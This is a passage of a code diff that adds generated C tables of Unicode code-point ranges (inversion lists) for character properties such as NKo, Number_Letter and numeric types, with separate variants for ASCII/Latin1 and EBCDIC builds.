+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x587,
+	0x588,
+	0x622,
+	0x627,
+	0x675,
+	0x679,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x10FC,
+	0x10FD,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309B,
+	0x309D,
+	0x309E,
+	0x30A0,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NKO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7C0,
+	0x7FB
+};
+
+static const UV PL_NL_invlist[] = { /* for all charsets */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16EE,
+	0x16F1,
+	0x2160,
+	0x2183,
+	0x2185,
+	0x2189,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0xA6E6,
+	0xA6F0,
+	0x10140,
+	0x10175,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x12400,
+	0x1246F
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NO_invlist[] = { /* for ASCII/Latin1 */
+	121,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB2,
+	0xB4,
+	0xB9,
+	0xBA,
+	0xBC,
+	0xBF,
+	0x9F4,
+	0x9FA,
+	0xB72,
+	0xB78,
+	0xBF0,
+	0xBF3,
+	0xC78,
+	0xC7F,
+	0xD58,
+	0xD5F,
+	0xD70,
+	0xD79,
+	0xF2A,
+	0xF34,
+	0x1369,
+	0x137D,
+	0x17F0,
+	0x17FA,
+	0x19DA,
+	0x19DB,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0xA830,
+	0xA836,
+	0x10107,
+	0x10134,
+	0x10175,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11066,
+	0x111E1,
+	0x111F5,
+	0x1173A,
+	0x1173C,
+	0x118EA,
+	0x118F3,
+	0x11C5A,
+	0x11C6D,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1E8C7,
+	0x1E8D0,
+	0x1F100,
+	0x1F10D
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NO_invlist[] = { /* for EBCDIC 1047 */
+	123,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x9F4,
+	0x9FA,
+	0xB72,
+	0xB78,
+	0xBF0,
+	0xBF3,
+	0xC78,
+	0xC7F,
+	0xD58,
+	0xD5F,
+	0xD70,
+	0xD79,
+	0xF2A,
+	0xF34,
+	0x1369,
+	0x137D,
+	0x17F0,
+	0x17FA,
+	0x19DA,
+	0x19DB,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0xA830,
+	0xA836,
+	0x10107,
+	0x10134,
+	0x10175,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11066,
+	0x111E1,
+	0x111F5,
+	0x1173A,
+	0x1173C,
+	0x118EA,
+	0x118F3,
+	0x11C5A,
+	0x11C6D,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1E8C7,
+	0x1E8D0,
+	0x1F100,
+	0x1F10D
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NO_invlist[] = { /* for EBCDIC 037 */
+	123,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x9F4,
+	0x9FA,
+	0xB72,
+	0xB78,
+	0xBF0,
+	0xBF3,
+	0xC78,
+	0xC7F,
+	0xD58,
+	0xD5F,
+	0xD70,
+	0xD79,
+	0xF2A,
+	0xF34,
+	0x1369,
+	0x137D,
+	0x17F0,
+	0x17FA,
+	0x19DA,
+	0x19DB,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0xA830,
+	0xA836,
+	0x10107,
+	0x10134,
+	0x10175,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11066,
+	0x111E1,
+	0x111F5,
+	0x1173A,
+	0x1173C,
+	0x118EA,
+	0x118F3,
+	0x11C5A,
+	0x11C6D,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1E8C7,
+	0x1E8D0,
+	0x1F100,
+	0x1F10D
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NSHU_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16FE1,
+	0x16FE2,
+	0x1B170,
+	0x1B2FC
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NT__DI_invlist[] = { /* for ASCII/Latin1 */
+	41,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB2,
+	0xB4,
+	0xB9,
+	0xBA,
+	0x1369,
+	0x1372,
+	0x19DA,
+	0x19DB,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2460,
+	0x2469,
+	0x2474,
+	0x247D,
+	0x2488,
+	0x2491,
+	0x24EA,
+	0x24EB,
+	0x24F5,
+	0x24FE,
+	0x24FF,
+	0x2500,
+	0x2776,
+	0x277F,
+	0x2780,
+	0x2789,
+	0x278A,
+	0x2793,
+	0x10A40,
+	0x10A44,
+	0x10E60,
+	0x10E69,
+	0x11052,
+	0x1105B,
+	0x1F100,
+	0x1F10B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NT__DI_invlist[] = { /* for EBCDIC 1047 */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x1369,
+	0x1372,
+	0x19DA,
+	0x19DB,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2460,
+	0x2469,
+	0x2474,
+	0x247D,
+	0x2488,
+	0x2491,
+	0x24EA,
+	0x24EB,
+	0x24F5,
+	0x24FE,
+	0x24FF,
+	0x2500,
+	0x2776,
+	0x277F,
+	0x2780,
+	0x2789,
+	0x278A,
+	0x2793,
+	0x10A40,
+	0x10A44,
+	0x10E60,
+	0x10E69,
+	0x11052,
+	0x1105B,
+	0x1F100,
+	0x1F10B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NT__DI_invlist[] = { /* for EBCDIC 037 */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x1369,
+	0x1372,
+	0x19DA,
+	0x19DB,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2460,
+	0x2469,
+	0x2474,
+	0x247D,
+	0x2488,
+	0x2491,
+	0x24EA,
+	0x24EB,
+	0x24F5,
+	0x24FE,
+	0x24FF,
+	0x2500,
+	0x2776,
+	0x277F,
+	0x2780,
+	0x2789,
+	0x278A,
+	0x2793,
+	0x10A40,
+	0x10A44,
+	0x10E60,
+	0x10E69,
+	0x11052,
+	0x1105B,
+	0x1F100,
+	0x1F10B
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NT__NU_invlist[] = { /* for ASCII/Latin1 */
+	281,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBC,
+	0xBF,
+	0x9F4,
+	0x9FA,
+	0xB72,
+	0xB78,
+	0xBF0,
+	0xBF3,
+	0xC78,
+	0xC7F,
+	0xD58,
+	0xD5F,
+	0xD70,
+	0xD79,
+	0xF2A,
+	0xF34,
+	0x1372,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17F0,
+	0x17FA,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2469,
+	0x2474,
+	0x247D,
+	0x2488,
+	0x2491,
+	0x249C,
+	0x24EB,
+	0x24F5,
+	0x24FE,
+	0x24FF,
+	0x277F,
+	0x2780,
+	0x2789,
+	0x278A,
+	0x2793,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x3405,
+	0x3406,
+	0x3483,
+	0x3484,
+	0x382A,
+	0x382B,
+	0x3B4D,
+	0x3B4E,
+	0x4E00,
+	0x4E01,
+	0x4E03,
+	0x4E04,
+	0x4E07,
+	0x4E08,
+	0x4E09,
+	0x4E0A,
+	0x4E5D,
+	0x4E5E,
+	0x4E8C,
+	0x4E8D,
+	0x4E94,
+	0x4E95,
+	0x4E96,
+	0x4E97,
+	0x4EBF,
+	0x4EC1,
+	0x4EDF,
+	0x4EE0,
+	0x4EE8,
+	0x4EE9,
+	0x4F0D,
+	0x4F0E,
+	0x4F70,
+	0x4F71,
+	0x5104,
+	0x5105,
+	0x5146,
+	0x5147,
+	0x5169,
+	0x516A,
+	0x516B,
+	0x516C,
+	0x516D,
+	0x516E,
+	0x5341,
+	0x5342,
+	0x5343,
+	0x5346,
+	0x534C,
+	0x534D,
+	0x53C1,
+	0x53C5,
+	0x56DB,
+	0x56DC,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5EFE,
+	0x5F00,
+	0x5F0C,
+	0x5F0F,
+	0x5F10,
+	0x5F11,
+	0x62FE,
+	0x62FF,
+	0x634C,
+	0x634D,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0x7396,
+	0x7397,
+	0x767E,
+	0x767F,
+	0x8086,
+	0x8087,
+	0x842C,
+	0x842D,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0x9621,
+	0x9622,
+	0x9646,
+	0x9647,
+	0x964C,
+	0x964D,
+	0x9678,
+	0x9679,
+	0x96F6,
+	0x96F7,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xF96B,
+	0xF96C,
+	0xF973,
+	0xF974,
+	0xF978,
+	0xF979,
+	0xF9B2,
+	0xF9B3,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xF9FD,
+	0xF9FE,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A44,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E69,
+	0x10E7F,
+	0x1105B,
+	0x11066,
+	0x111E1,
+	0x111F5,
+	0x1173A,
+	0x1173C,
+	0x118EA,
+	0x118F3,
+	0x11C5A,
+	0x11C6D,
+	0x12400,
+	0x1246F,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1E8C7,
+	0x1E8D0,
+	0x1F10B,
+	0x1F10D,
+	0x20001,
+	0x20002,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x20121,
+	0x20122,
+	0x2092A,
+	0x2092B,
+	0x20983,
+	0x20984,
+	0x2098C,
+	0x2098D,
+	0x2099C,
+	0x2099D,
+	0x20AEA,
+	0x20AEB,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22390,
+	0x22391,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C,
+	0x2626D,
+	0x2626E,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
